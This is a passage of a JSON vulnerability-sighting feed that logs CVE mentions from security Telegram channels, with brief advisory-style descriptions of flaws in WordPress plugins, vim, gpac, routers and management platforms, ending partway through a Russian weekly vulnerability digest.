High)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-06T02:17:23.000000Z"}, {"uuid": "24ae5bc0-8b46-4927-badb-06e48c76cf56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47191", "type": "seen", "source": "https://t.me/ctinow/157938", "content": "https://ift.tt/SMEFcPe\nCVE-2023-47191", "creation_timestamp": "2023-12-21T20:22:35.000000Z"}, {"uuid": "fbaa1a7b-ab79-412b-b925-5f45560578b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47454", "type": "seen", "source": "https://t.me/ctinow/157735", "content": "https://ift.tt/xUkDlCi\nCVE-2023-47454 | NetEase CloudMusic up to 2.10.4 on Windows urlmon.dll untrusted search path", "creation_timestamp": "2023-12-21T15:11:35.000000Z"}, {"uuid": "2bc5aced-37d8-41db-bc5f-8cf0939d56c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47307", "type": "seen", "source": "https://t.me/ctinow/157733", "content": "https://ift.tt/sMYlPhe\nCVE-2023-47307 | Shenzhen Libituo Technology LBT-T300-T310 2.2.2.6 /apply.cgi ApCliAuthMode buffer overflow", "creation_timestamp": "2023-12-21T15:11:33.000000Z"}, {"uuid": "902644ea-04ba-4425-8a50-16c67cc2bbb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47848", "type": "seen", "source": "https://t.me/ctinow/157633", "content": "https://ift.tt/EwCv2ZF\nCVE-2023-47848 | Tainacan Plugin up to 0.20.4 on WordPress cross site scripting", "creation_timestamp": "2023-12-21T12:06:23.000000Z"}, {"uuid": "3401975b-a8a0-422d-8a73-a5a8fc633e2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47853", "type": "seen", "source": "https://t.me/ctinow/157632", "content": "https://ift.tt/mWU6fPS\nCVE-2023-47853 | myCred Points, Rewards, Gamification, Ranks, Badges & Loyalty Plugin cross site scripting", "creation_timestamp": "2023-12-21T12:06:22.000000Z"}, {"uuid": "612ba7d6-6fa0-4c9f-929b-2fe88366a895", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47872", "type": "seen", "source": "https://t.me/ctinow/157631", "content": "https://ift.tt/VGzYhy8\nCVE-2023-47872 | gVectors wpForo Forum Plugin up to 2.2.3 on WordPress cross site scripting", "creation_timestamp": "2023-12-21T12:06:21.000000Z"}, {"uuid": "311f92a3-0dcc-4547-8bcf-78dfef2baec6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47521", "type": "seen", "source": "https://t.me/ctinow/157630", "content": "https://ift.tt/vFZTkMj\nCVE-2023-47521 | Max Bond AndreSC Q2W3 Post Order Plugin up to 1.2.8 on WordPress cross site scripting", "creation_timestamp": "2023-12-21T12:06:20.000000Z"}, {"uuid": "08caf9e5-3c13-4ad4-a0c5-cbb9b21203f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4752", "type": "seen", "source": "https://t.me/cibsecurity/69801", "content": "\u203c CVE-2023-4752 \u203c\n\nUse After Free in GitHub repository vim/vim prior to 9.0.1858.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T18:21:19.000000Z"}, {"uuid": "6b583fe5-246f-4055-bd02-72ccba7a7f56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47140", "type": "seen", "source": "https://t.me/ctinow/164198", "content": "https://ift.tt/niIdfkr\nCVE-2023-47140", "creation_timestamp": "2024-01-08T04:21:25.000000Z"}, {"uuid": "c1c679ba-966f-433a-801e-20d68d501d26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47081", "type": "seen", "source": "https://t.me/ctinow/164011", "content": "https://ift.tt/qhv0d8C\nCVE-2023-47081 | Adobe Substance 3D Stager up to 2.1.1 out-of-bounds (apsb23-73)", "creation_timestamp": "2024-01-06T20:31:59.000000Z"}, {"uuid": "f6699f6b-bf73-4ecb-bb43-ef2275286931", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47080", "type": "seen", "source": "https://t.me/ctinow/164010", "content": "https://ift.tt/nL7MuZX\nCVE-2023-47080 | Adobe Substance 3D Stager up to 2.1.1 out-of-bounds (apsb23-73)", "creation_timestamp": "2024-01-06T20:31:56.000000Z"}, {"uuid": "cf51ad30-9bcb-4ed2-a9de-93bac98dcc88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4792", "type": "seen", "source": "https://t.me/cibsecurity/70045", "content": "\u203c CVE-2023-4792 \u203c\n\nThe Duplicate Post Page Menu & Custom Post Type plugin for WordPress is vulnerable to unauthorized page and post duplication due to a missing capability check on the duplicate_ppmc_post_as_draft function in versions up to, and including, 2.3.1. This makes it possible for authenticated attackers with subscriber access or higher to duplicate posts and pages.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-07T07:18:19.000000Z"}, {"uuid": "2a2c4d61-b411-453d-b39a-1e73608c28e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4772", "type": "seen", "source": "https://t.me/cibsecurity/70044", "content": "\u203c CVE-2023-4772 \u203c\n\nThe Newsletter plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'newsletter_form' shortcode in versions up to, and including, 7.8.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-07T07:18:18.000000Z"}, {"uuid": "28dc9558-ece3-4ac2-ba3f-a6e83d58ab50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47645", "type": "seen", "source": "https://t.me/ctinow/157310", "content": "https://ift.tt/MYlG3a0\nCVE-2023-47645 | RegistrationMagic Custom Registration Forms Plugin up to 5.2.2.6 on WordPress cross-site request forgery", "creation_timestamp": "2023-12-20T21:18:37.000000Z"}, {"uuid": "f009a7f8-a2cf-47e9-9026-2aae558293b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4733", "type": "seen", "source": "https://t.me/cibsecurity/69800", "content": "\u203c CVE-2023-4733 \u203c\n\nUse After Free in GitHub repository vim/vim prior to 9.0.1840.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T18:21:18.000000Z"}, {"uuid": "ef803855-bc4f-402c-bcd4-f6854b2e77c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47525", "type": "seen", "source": "https://t.me/ctinow/157788", "content": "https://ift.tt/PCHMlOD\nCVE-2023-47525", "creation_timestamp": "2023-12-21T16:27:59.000000Z"}, {"uuid": "2e257038-096b-4457-b299-4b7f8500ecf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4755", "type": "seen", "source": "https://t.me/cibsecurity/69799", "content": "\u203c CVE-2023-4755 \u203c\n\nUse After Free in GitHub repository gpac/gpac prior to 2.3-DEV.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T18:21:17.000000Z"}, {"uuid": "089f6f6f-9d82-466c-b6b4-876b66821881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4770", "type": "seen", "source": "https://t.me/ctinow/157295", "content": "https://ift.tt/WLrbw9N\nCVE-2023-4770 | 4D.exe/4D Server.exe 19 R8 100218 shfolder.dll uncontrolled search path", "creation_timestamp": "2023-12-20T20:46:43.000000Z"}, {"uuid": "ec5be42e-78bb-4224-b95c-94fa421945be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47827", "type": "seen", "source": "https://t.me/ctinow/157294", "content": "https://ift.tt/fIe0kzx\nCVE-2023-47827 | NicheAddons Events Addon for Elementor Plugin up to 2.1.3 on WordPress authorization", "creation_timestamp": "2023-12-20T20:46:42.000000Z"}, {"uuid": "a3eda5fe-19b0-429d-beb2-9a41894a8764", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47990", "type": "seen", "source": "https://t.me/ctinow/157288", "content": "https://ift.tt/AvpnTRy\nCVE-2023-47990", "creation_timestamp": "2023-12-20T20:29:24.000000Z"}, {"uuid": "db49c8a6-c207-40a6-abbc-877737f318ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47876", "type": "seen", "source": "https://t.me/ctinow/157601", "content": "https://ift.tt/S5cluMA\nCVE-2023-47876 | Perfmatters Plugin up to 2.1.6 on WordPress cross site scripting", "creation_timestamp": "2023-12-21T11:07:57.000000Z"}, {"uuid": "8c909410-ac1f-4de9-bf1d-20d0e9a63a66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4724", "type": "seen", "source": "https://t.me/ctinow/157954", "content": "https://ift.tt/fFgvQRk\nCVE-2023-4724 Exploit", "creation_timestamp": "2023-12-21T21:16:40.000000Z"}, {"uuid": "74a2bf8d-7b20-41b0-b218-ababbedcc4ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47527", "type": "seen", "source": "https://t.me/ctinow/157789", "content": "https://ift.tt/KURBLJu\nCVE-2023-47527", "creation_timestamp": "2023-12-21T16:28:00.000000Z"}, {"uuid": "ac838fc9-339c-4c46-851a-181e7a63b12e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47452", "type": "seen", "source": "https://t.me/ctinow/157757", "content": "https://ift.tt/HtCxpad\nCVE-2023-47452 | NotePad++ 6.5 msimg32.dll untrusted search path", "creation_timestamp": "2023-12-21T15:42:31.000000Z"}, {"uuid": "89277e63-b914-4401-986f-65ff6f76a18c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47875", "type": "seen", "source": "https://t.me/ctinow/157562", "content": "https://ift.tt/l2MWTeU\nCVE-2023-47875 | Perfmatters Plugin up to 2.1.6 on WordPress cross-site request forgery", "creation_timestamp": "2023-12-21T09:41:36.000000Z"}, {"uuid": "37c31e2a-a615-46f7-8fec-bf94bbe4ae2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47784", "type": "seen", "source": "https://t.me/ctinow/157287", "content": "https://ift.tt/fTB3j68\nCVE-2023-47784", "creation_timestamp": "2023-12-20T20:29:23.000000Z"}, {"uuid": "200fe0eb-aa5a-4e67-9af2-caa4f7721bf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4718", "type": "seen", "source": "https://t.me/cibsecurity/69699", "content": "\u203c CVE-2023-4718 \u203c\n\nThe Font Awesome 4 Menus plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'fa' and 'fa-stack' shortcodes in versions up to, and including, 4.7.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-02T07:14:19.000000Z"}, {"uuid": "c019e36c-ed0a-4b07-b6e8-58cd93930828", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4704", "type": "seen", "source": "https://t.me/cibsecurity/69636", "content": "\u203c CVE-2023-4704 \u203c\n\nExternal Control of System or Configuration Setting in GitHub repository instantsoft/icms2 prior to 2.16.1-git.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-01T14:14:05.000000Z"}, {"uuid": "708a2881-4b72-4e67-9254-509981b1e232", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4758", "type": "seen", "source": "https://t.me/cibsecurity/69804", "content": "\u203c CVE-2023-4758 \u203c\n\nBuffer Over-read in GitHub repository gpac/gpac prior to 2.3-DEV.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T21:46:21.000000Z"}, {"uuid": "76a08c77-b57d-41d0-a71b-e911635ae189", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4746", "type": "seen", "source": "https://t.me/cibsecurity/69735", "content": "\u203c CVE-2023-4746 \u203c\n\nA vulnerability classified as critical has been found in TOTOLINK N200RE V5 9.3.5u.6437_B20230519. This affects the function Validity_check. The manipulation leads to format string. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-238635.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T07:21:58.000000Z"}, {"uuid": "21c6fd82-2b42-4f91-b0f3-1eadc0446c90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4744", "type": "seen", "source": "https://t.me/cibsecurity/69736", "content": "\u203c CVE-2023-4744 \u203c\n\nA vulnerability was found in Tenda AC8 16.03.34.06_cn_TDC01. It has been declared as critical. Affected by this vulnerability is the function formSetDeviceName. The manipulation leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-238633 was assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T07:21:59.000000Z"}, {"uuid": "1d43a7a3-dc11-4f19-858d-a74e92dafa74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4745", "type": "seen", "source": "https://t.me/cibsecurity/69753", "content": "\u203c CVE-2023-4745 \u203c\n\nA vulnerability was found in Beijing Baichuo Smart S45F Multi-Service Secure Gateway Intelligent Management Platform up to 20230822. It has been rated as critical. Affected by this issue is some unknown functionality of the file /importexport.php. The manipulation leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-238634 is the identifier assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T07:22:25.000000Z"}, {"uuid": "341cb06b-15e4-4c46-8325-0e397fed07f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4740", "type": "seen", "source": "https://t.me/cibsecurity/69712", "content": "\u203c CVE-2023-4740 \u203c\n\nA vulnerability, which was classified as critical, was found in IBOS OA 4.5.5. This affects an unknown part of the file ?r=email/api/delDraft&archiveId=0 of the component Delete Draft Handler. The manipulation leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-238629 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2024-02-02T07:45:40.000000Z"}, {"uuid": "9eefe921-7bd6-45e4-9c98-6cb9bd373211", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4739", "type": "seen", "source": "https://t.me/cibsecurity/69713", "content": "\u203c CVE-2023-4739 \u203c\n\nA vulnerability, which was classified as critical, has been found in Beijing Baichuo Smart S85F Management Platform up to 20230820 on Smart. Affected by this issue is some unknown functionality of the file /sysmanage/updateos.php. The manipulation of the argument 1_file_upload leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-238628. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T00:15:42.000000Z"}, {"uuid": "37d0c753-e374-4bdc-bc9f-dc1c00038611", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4751", "type": "seen", "source": "https://t.me/cibsecurity/69711", "content": "\u203c CVE-2023-4751 \u203c\n\nHeap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.1331.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-03T22:15:37.000000Z"}, {"uuid": "6ef16a75-3f2b-499d-8a2d-9e50c443f84e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4712", "type": "seen", "source": "https://t.me/cibsecurity/69698", "content": "\u203c CVE-2023-4712 \u203c\n\nA vulnerability, which was classified as critical, was found in Xintian Smart Table Integrated Management System 5.6.9. This affects an unknown part of the file /SysManage/AddUpdateRole.aspx. The manipulation of the argument txtRoleName leads to sql injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-238575. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-02T03:19:10.000000Z"}, {"uuid": "3e3b4a19-307f-4ad3-bcc4-f09fa13b8e21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4720", "type": "seen", "source": "https://t.me/cibsecurity/69661", "content": "\u203c CVE-2023-4720 \u203c\n\nFloating Point Comparison with Incorrect Operator in GitHub repository gpac/gpac prior to 2.3-DEV.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-01T20:15:11.000000Z"}, {"uuid": "a2f9ba3d-e587-41eb-bcce-b3b5c0a5c72d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4710", "type": "seen", "source": "https://t.me/cibsecurity/69695", "content": "\u203c CVE-2023-4710 \u203c\n\nA vulnerability classified as problematic was found in TOTVS RM 12.1. Affected by this vulnerability is an unknown functionality of the component Portal. The manipulation of the argument d leads to cross site scripting. The attack can be launched remotely. The identifier VDB-238573 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-02T00:14:11.000000Z"}, {"uuid": "0f0815d1-5dce-4b25-9c62-7c5993b80b7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4711", "type": "seen", "source": "https://t.me/cibsecurity/69693", "content": "\u203c CVE-2023-4711 \u203c\n\nA vulnerability, which was classified as critical, has been found in D-Link DAR-8000-10 up to 20230819. Affected by this issue is some unknown functionality of the file /log/decodmail.php. The manipulation of the argument file leads to os command injection. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. VDB-238574 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-02T00:14:08.000000Z"}, {"uuid": "57d37820-4ee1-4c99-9ecb-c477d6cc44c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4714", "type": "seen", "source": "https://t.me/cibsecurity/69692", "content": "\u203c CVE-2023-4714 \u203c\n\nA vulnerability was found in PlayTube 3.0.1 and classified as problematic. This issue affects some unknown processing of the component Redirect Handler. The manipulation leads to information disclosure. The attack may be initiated remotely. The identifier VDB-238577 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-02T00:14:06.000000Z"}, {"uuid": "ff74491a-6221-408d-9266-52d8eb7de288", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4713", "type": "seen", "source": "https://t.me/cibsecurity/69691", "content": "\u203c CVE-2023-4713 \u203c\n\nA vulnerability has been found in IBOS OA 4.5.5 and classified as critical. This vulnerability affects the function addComment of the file ?r=weibo/comment/addcomment. The manipulation of the argument touid leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-238576. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-03T03:35:54.000000Z"}, {"uuid": "078d6aab-f6ab-4339-8d5e-e16b5c2aee5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4708", "type": "seen", "source": "https://t.me/cibsecurity/69687", "content": "\u203c CVE-2023-4708 \u203c\n\nA vulnerability was found in Infosoftbd Clcknshop 1.0.0. It has been rated as critical. This issue affects some unknown processing of the file /collection/all of the component GET Parameter Handler. The manipulation of the argument tag leads to sql injection. The attack may be initiated remotely. The associated identifier of this vulnerability is VDB-238571. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-01T22:14:06.000000Z"}, {"uuid": "0719014b-997a-4d1f-bba1-65c68d6ecb07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4707", "type": "seen", "source": "https://t.me/cibsecurity/69683", "content": "\u203c CVE-2023-4707 \u203c\n\nA vulnerability was found in Infosoftbd Clcknshop 1.0.0. It has been declared as problematic. This vulnerability affects unknown code of the file /collection/all. The manipulation of the argument q leads to cross site scripting. The attack can be initiated remotely. VDB-238570 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-01T22:14:02.000000Z"}, {"uuid": "b5431edb-6c13-4289-9506-3c1dd4e9bf4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4709", "type": "seen", "source": "https://t.me/cibsecurity/69681", "content": "\u203c CVE-2023-4709 \u203c\n\nA vulnerability classified as problematic has been found in TOTVS RM 12.1. Affected is an unknown function of the file Login.aspx of the component Portal. The manipulation of the argument VIEWSTATE leads to cross site scripting. It is possible to launch the attack remotely. The identifier of this vulnerability is VDB-238572. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-01T22:14:00.000000Z"}, {"uuid": "382f37c3-44bd-460a-8eec-7ac93d706cfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4722", "type": "seen", "source": "https://t.me/cibsecurity/69674", "content": "\u203c CVE-2023-4722 \u203c\n\nInteger Overflow or Wraparound in GitHub repository gpac/gpac prior to 2.3-DEV.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-01T20:15:25.000000Z"}, {"uuid": "2221fe55-e6e4-48f6-b19f-be5814713491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4721", "type": "seen", "source": "https://t.me/cibsecurity/69672", "content": "\u203c CVE-2023-4721 \u203c\n\nOut-of-bounds Read in GitHub repository gpac/gpac prior to 2.3-DEV.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-01T20:15:23.000000Z"}, {"uuid": "d6f80a01-4c05-4878-9247-c80e624cb080", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/cisoclub/2983", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e (15-21 \u043d\u043e\u044f\u0431\u0440\u044f)\n\n1\ufe0f\u20e3 \u0412 \ud83d\udcf0WordPress-\u043f\u043b\u0430\u0433\u0438\u043d\u0435 WP Fastest \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0431\u0430\u0437 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0430\u0439\u0442\u0430.\n\n2\ufe0f\u20e3 \u0410\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043d\u043e\u044f\u0431\u0440\u044c\u0441\u043a\u0438\u0439 \ud83d\udcbe\u043d\u0430\u0431\u043e\u0440 \u043f\u0430\u0442\u0447\u0435\u0439, \u0432 \u043e\u0431\u0449\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0445 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 